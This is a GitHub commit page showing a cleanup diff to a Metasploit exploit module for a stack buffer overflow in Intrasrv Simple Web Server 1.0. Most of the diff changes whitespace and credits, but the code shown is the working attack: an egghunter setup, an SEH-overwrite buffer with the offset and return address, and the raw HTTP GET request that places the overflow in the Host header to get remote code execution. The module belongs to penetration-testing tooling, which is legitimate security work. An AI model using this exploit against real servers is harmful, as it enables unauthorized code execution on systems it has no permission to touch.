Skip to content

Commit 7981601

Browse files
author
jvazquez-r7
committed
Do final cleanup on intrasrv_bof
1 parent db78ffc commit 7981601

File tree

1 file changed

+16
-16
lines changed

1 file changed

+16
-16
lines changed

modules/exploits/windows/http/intrasrv_bof.rb

Lines changed: 16 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -17,17 +17,17 @@ def initialize(info={})
1717
super(update_info(info,
1818
'Name' => "Intrasrv 1.0 Buffer Overflow",
1919
'Description' => %q{
20-
This module exploits a boundary condition error in Intrasrv Simple Web
21-
Server 1.0. The web interface does not validate the boundaries of an
22-
HTTP request string prior to copying the data to an insufficiently large
23-
buffer. Successful exploitation leads to arbitrary remote code execution
24-
in the context of the application.
20+
This module exploits a boundary condition error in Intrasrv Simple Web
21+
Server 1.0. The web interface does not validate the boundaries of an
22+
HTTP request string prior to copying the data to an insufficiently large
23+
buffer. Successful exploitation leads to arbitrary remote code execution
24+
in the context of the application.
2525
},
2626
'License' => MSF_LICENSE,
2727
'Author' =>
2828
[
29-
'xis_one@STM Solutions', #Discovery, PoC
30-
'PsychoSpy <neinwechter[at]gmail.com>' #Metasploit
29+
'xis_one', # Discovery, PoC
30+
'PsychoSpy <neinwechter[at]gmail.com>' # Metasploit
3131
],
3232
'References' =>
3333
[
@@ -48,7 +48,7 @@ def initialize(info={})
4848
'Platform' => 'win',
4949
'Targets' =>
5050
[
51-
['v1.0 - XP/2003/Win7',
51+
['v1.0 - XP / Win7',
5252
{
5353
'Offset' => 1553,
5454
'Ret'=>0x004097dd #p/p/r - intrasrv.exe
@@ -85,15 +85,15 @@ def check
8585
def exploit
8686
# setup egghunter
8787
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, {
88-
:checksum=>true
89-
})
88+
:checksum=>true
89+
})
9090

9191
# setup buffer
92-
buf = rand_text(target['Offset']-126) # junk to egghunter at jmp -128
93-
buf << hunter # egghunter
94-
buf << rand_text(target['Offset']-buf.length) # more junk to offset
95-
buf << "\xeb\x80" + rand_text(2) # nseh - jmp -128 to egghunter
96-
buf << [target.ret].pack("V*") # seh
92+
buf = rand_text(target['Offset']-126) # junk to egghunter at jmp -128
93+
buf << hunter # egghunter
94+
buf << rand_text(target['Offset']-buf.length) # more junk to offset
95+
buf << "\xeb\x80" + rand_text(2) # nseh - jmp -128 to egghunter
96+
buf << [target.ret].pack("V*") # seh
9797

9898
# second last byte of payload/egg gets corrupted - pad 2 bytes
9999
# so we don't corrupt the actual payload
@@ -104,7 +104,7 @@ def exploit
104104
# instead of HttpClient here to maximize control over what's sent.
105105
# (i.e. no additional headers to mess with the stack)
106106
connect
107-
sock.put("GET / HTTP/1.0\r\nHost: #{buf}\r\n#{egg}")
107+
sock.put("GET / HTTP/1.0\r\nHost: #{buf}\r\n\r\n#{egg}\r\n\r\n")
108108
disconnect
109109
end
110110
end

0 commit comments

Comments
 (0)